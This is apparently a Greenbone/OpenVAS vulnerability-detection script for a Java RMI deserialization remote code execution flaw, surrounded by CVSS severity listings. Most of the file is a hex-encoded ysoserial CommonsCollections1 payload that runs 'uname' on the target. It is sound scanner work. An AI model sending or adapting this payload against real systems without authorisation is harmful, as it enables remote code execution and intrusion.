10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.013 Low
EPSS
Percentile
86.1%
The remote host is affected by a remote code execution (RCE)
vulnerability.
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105765");
script_version("2023-07-20T05:05:17+0000");
script_cve_id("CVE-2016-3642", "CVE-2016-1487");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_name("RMI Java Deserialization RCE Vulnerability");
script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/576313");
script_tag(name:"vuldetect", value:"Execute the `uname' command and check the response.");
script_tag(name:"insight", value:"The Apache Commons Collections (ACC) library is vulnerable to
insecure deserialization of data, which may result in arbitrary code execution. Java applications
that either directly use ACC, or contain ACC in their classpath, may be vulnerable to arbitrary
code execution.");
script_tag(name:"solution", value:"Ask the vendor for an update/workaround.");
script_tag(name:"summary", value:"The remote host is affected by a remote code execution (RCE)
vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_active");
script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2016-06-20 13:21:00 +0000 (Mon, 20 Jun 2016)");
script_tag(name:"creation_date", value:"2016-06-15 20:26:27 +0200 (Wed, 15 Jun 2016)");
script_category(ACT_ATTACK);
script_family("General");
script_copyright("Copyright (C) 2016 Greenbone AG");
script_dependencies("gb_rmi_registry_detect.nasl");
script_require_ports("Services/rmi_registry");
exit(0);
}
include("byte_func.inc");
include("port_service_func.inc");
port = service_get_port( default:1099, proto:"rmi_registry" );
soc = open_sock_tcp( port );
if( ! soc ) exit( 0 );
req = 'JRMI' + raw_string( 0x00, 0x02, 0x4b );
send(socket:soc, data:req);
res = recv( socket:soc, length:128, min:7 );
if( hexstr( res[0] ) != '4e' || ( getword( blob:res, pos:1 ) + 7 ) != strlen( res ) )
{
close( soc );
exit( 0 );
}
# java -cp ysoserial-0.0.2-all.jar ysoserial.RMIRegistryExploit 192.168.2.44 1099 CommonsCollections1 'uname'
req = raw_string( 0x00, 0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e,
0x30, 0x2e, 0x32, 0x00, 0x00, 0x00, 0x00,
0x50, 0xac, 0xed, 0x00, 0x05, 0x77, 0x22, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x44, 0x15, 0x4d, 0xc9, 0xd4, 0xe6, 0x3b,
0xdf, 0x74, 0x00, 0x05, 0x70, 0x77, 0x6e, 0x65,
0x64, 0x73, 0x7d, 0x00, 0x00, 0x00, 0x01, 0x00,
0x0f, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x72, 0x6d,
0x69, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65,
0x70, 0x78, 0x72, 0x00, 0x17, 0x6a, 0x61, 0x76,
0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x72,
0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x50,
0x72, 0x6f, 0x78, 0x79, 0xe1, 0x27, 0xda, 0x20,
0xcc, 0x10, 0x43, 0xcb, 0x02, 0x00, 0x01, 0x4c,
0x00, 0x01, 0x68, 0x74, 0x00, 0x25, 0x4c, 0x6a,
0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67,
0x2f, 0x72, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74,
0x2f, 0x49, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e, 0x64, 0x6c,
0x65, 0x72, 0x3b, 0x70, 0x78, 0x70, 0x73, 0x72,
0x00, 0x32, 0x73, 0x75, 0x6e, 0x2e, 0x72, 0x65,
0x66, 0x6c, 0x65, 0x63, 0x74, 0x2e, 0x61, 0x6e,
0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e,
0x2e, 0x41, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x76, 0x6f, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x48, 0x61, 0x6e,
0x64, 0x6c, 0x65, 0x72, 0x55, 0xca, 0xf5, 0x0f,
0x15, 0xcb, 0x7e, 0xa5, 0x02, 0x00, 0x02, 0x4c,
0x00, 0x0c, 0x6d, 0x65, 0x6d, 0x62, 0x65, 0x72,
0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x74, 0x00,
0x0f, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75,
0x74, 0x69, 0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b,
0x4c, 0x00, 0x04, 0x74, 0x79, 0x70, 0x65, 0x74,
0x00, 0x11, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f,
0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61,
0x73, 0x73, 0x3b, 0x70, 0x78, 0x70, 0x73, 0x72,
0x00, 0x11, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x75,
0x74, 0x69, 0x6c, 0x2e, 0x48, 0x61, 0x73, 0x68,
0x4d, 0x61, 0x70, 0x05, 0x07, 0xda, 0xc1, 0xc3,
0x16, 0x60, 0xd1, 0x03, 0x00, 0x02, 0x46, 0x00,
0x0a, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x61, 0x63,
0x74, 0x6f, 0x72, 0x49, 0x00, 0x09, 0x74, 0x68,
0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x70,
0x78, 0x70, 0x3f, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0c, 0x77, 0x08, 0x00, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00, 0x01, 0x71, 0x00, 0x7e, 0x00,
0x00, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x05, 0x73,
0x7d, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0d, 0x6a,
0x61, 0x76, 0x61, 0x2e, 0x75, 0x74, 0x69, 0x6c,
0x2e, 0x4d, 0x61, 0x70, 0x70, 0x78, 0x71, 0x00,
0x7e, 0x00, 0x02, 0x73, 0x71, 0x00, 0x7e, 0x00,
0x05, 0x73, 0x72, 0x00, 0x2a, 0x6f, 0x72, 0x67,
0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2e,
0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2e,
0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,
0x6f, 0x6e, 0x73, 0x2e, 0x6d, 0x61, 0x70, 0x2e,
0x4c, 0x61, 0x7a, 0x79, 0x4d, 0x61, 0x70, 0x6e,
0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94, 0x03,
0x00, 0x01, 0x4c, 0x00, 0x07, 0x66, 0x61, 0x63,
0x74, 0x6f, 0x72, 0x79, 0x74, 0x00, 0x2c, 0x4c,
0x6f, 0x72, 0x67, 0x2f, 0x61, 0x70, 0x61, 0x63,
0x68, 0x65, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65,
0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x54,
0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d,
0x65, 0x72, 0x3b, 0x70, 0x78, 0x70, 0x73, 0x72,
0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70,
0x61, 0x63, 0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c,
0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73,
0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72,
0x73, 0x2e, 0x43, 0x68, 0x61, 0x69, 0x6e, 0x65,
0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f,
0x72, 0x6d, 0x65, 0x72, 0x30, 0xc7, 0x97, 0xec,
0x28, 0x7a, 0x97, 0x04, 0x02, 0x00, 0x01, 0x5b,
0x00, 0x0d, 0x69, 0x54, 0x72, 0x61, 0x6e, 0x73,
0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x73, 0x74,
0x00, 0x2d, 0x5b, 0x4c, 0x6f, 0x72, 0x67, 0x2f,
0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2f, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x73, 0x2f, 0x63,
0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x73, 0x2f, 0x54, 0x72, 0x61, 0x6e, 0x73,
0x66, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x3b, 0x70,
0x78, 0x70, 0x75, 0x72, 0x00, 0x2d, 0x5b, 0x4c,
0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63,
0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65,
0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x54,
0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f, 0x72, 0x6d,
0x65, 0x72, 0x3b, 0xbd, 0x56, 0x2a, 0xf1, 0xd8,
0x34, 0x18, 0x99, 0x02, 0x00, 0x00, 0x70, 0x78,
0x70, 0x00, 0x00, 0x00, 0x05, 0x73, 0x72, 0x00,
0x3b, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61,
0x63, 0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c, 0x6c,
0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e,
0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72, 0x73,
0x2e, 0x43, 0x6f, 0x6e, 0x73, 0x74, 0x61, 0x6e,
0x74, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f,
0x72, 0x6d, 0x65, 0x72, 0x58, 0x76, 0x90, 0x11,
0x41, 0x02, 0xb1, 0x94, 0x02, 0x00, 0x01, 0x4c,
0x00, 0x09, 0x69, 0x43, 0x6f, 0x6e, 0x73, 0x74,
0x61, 0x6e, 0x74, 0x74, 0x00, 0x12, 0x4c, 0x6a,
0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67,
0x2f, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x3b,
0x70, 0x78, 0x70, 0x76, 0x72, 0x00, 0x11, 0x6a,
0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x70, 0x78, 0x70, 0x73, 0x72,
0x00, 0x3a, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70,
0x61, 0x63, 0x68, 0x65, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x73, 0x2e, 0x63, 0x6f, 0x6c,
0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73,
0x2e, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x6f, 0x72,
0x73, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65,
0x72, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x66, 0x6f,
0x72, 0x6d, 0x65, 0x72, 0x87, 0xe8, 0xff, 0x6b,
0x7b, 0x7c, 0xce, 0x38, 0x02, 0x00, 0x03, 0x5b,
0x00, 0x05, 0x69, 0x41, 0x72, 0x67, 0x73, 0x74,
0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61,
0x2f, 0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x4f, 0x62,
0x6a, 0x65, 0x63, 0x74, 0x3b, 0x4c, 0x00, 0x0b,
0x69, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x4e,
0x61, 0x6d, 0x65, 0x74, 0x00, 0x12, 0x4c, 0x6a,
0x61, 0x76, 0x61, 0x2f, 0x6c, 0x61, 0x6e, 0x67,
0x2f, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x3b,
0x5b, 0x00, 0x0b, 0x69, 0x50, 0x61, 0x72, 0x61,
0x6d, 0x54, 0x79, 0x70, 0x65, 0x73, 0x74, 0x00,
0x12, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f,
0x6c, 0x61, 0x6e, 0x67, 0x2f, 0x43, 0x6c, 0x61,
0x73, 0x73, 0x3b, 0x70, 0x78, 0x70, 0x75, 0x72,
0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61,
0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x62,
0x6a, 0x65, 0x63, 0x74, 0x3b, 0x90, 0xce, 0x58,
0x9f, 0x10, 0x73, 0x29, 0x6c, 0x02, 0x00, 0x00,
0x70, 0x78, 0x70, 0x00, 0x00, 0x00, 0x02, 0x74,
0x00, 0x0a, 0x67, 0x65, 0x74, 0x52, 0x75, 0x6e,
0x74, 0x69, 0x6d, 0x65, 0x75, 0x72, 0x00, 0x12,
0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c,
0x61, 0x6e, 0x67, 0x2e, 0x43, 0x6c, 0x61, 0x73,
0x73, 0x3b, 0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd,
0x5a, 0x99, 0x02, 0x00, 0x00, 0x70, 0x78, 0x70,
0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x09, 0x67,
0x65, 0x74, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64,
0x75, 0x71, 0x00, 0x7e, 0x00, 0x24, 0x00, 0x00,
0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6a, 0x61,
0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e,
0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0xa0, 0xf0,
0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42, 0x02, 0x00,
0x00, 0x70, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7e,
0x00, 0x24, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x1c,
0x75, 0x71, 0x00, 0x7e, 0x00, 0x21, 0x00, 0x00,
0x00, 0x02, 0x70, 0x75, 0x71, 0x00, 0x7e, 0x00,
0x21, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x06,
0x69, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x75, 0x71,
0x00, 0x7e, 0x00, 0x24, 0x00, 0x00, 0x00, 0x02,
0x76, 0x72, 0x00, 0x10, 0x6a, 0x61, 0x76, 0x61,
0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x62,
0x6a, 0x65, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70,
0x78, 0x70, 0x76, 0x71, 0x00, 0x7e, 0x00, 0x21,
0x73, 0x71, 0x00, 0x7e, 0x00, 0x1c, 0x75, 0x72,
0x00, 0x13, 0x5b, 0x4c, 0x6a, 0x61, 0x76, 0x61,
0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x53, 0x74,
0x72, 0x69, 0x6e, 0x67, 0x3b, 0xad, 0xd2, 0x56,
0xe7, 0xe9, 0x1d, 0x7b, 0x47, 0x02, 0x00, 0x00,
0x70, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x74,
0x00, 0x05, 0x75, 0x6e, 0x61, 0x6d, 0x65, 0x74,
0x00, 0x04, 0x65, 0x78, 0x65, 0x63, 0x75, 0x71,
0x00, 0x7e, 0x00, 0x24, 0x00, 0x00, 0x00, 0x01,
0x71, 0x00, 0x7e, 0x00, 0x29, 0x73, 0x71, 0x00,
0x7e, 0x00, 0x17, 0x73, 0x72, 0x00, 0x11, 0x6a,
0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67,
0x2e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x65, 0x72,
0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38,
0x02, 0x00, 0x01, 0x49, 0x00, 0x05, 0x76, 0x61,
0x6c, 0x75, 0x65, 0x70, 0x78, 0x72, 0x00, 0x10,
0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e,
0x67, 0x2e, 0x4e, 0x75, 0x6d, 0x62, 0x65, 0x72,
0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b,
0x02, 0x00, 0x00, 0x70, 0x78, 0x70, 0x00, 0x00,
0x00, 0x01, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x09,
0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x77, 0x08, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x78, 0x78, 0x76, 0x72, 0x00, 0x12,
0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e,
0x67, 0x2e, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69,
0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x78, 0x70,
0x71, 0x00, 0x7e, 0x00, 0x3f, 0x78, 0x71, 0x00,
0x7e, 0x00, 0x3f );
send( socket:soc, data:req );
res = recv( socket:soc, length:512 );
close( soc );
if( "Integer cannot be cast to java.util.Set" >< res )
{
security_message( port:port );
exit( 0 );
}
exit( 0 );
10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.013 Low
EPSS
Percentile
86.1%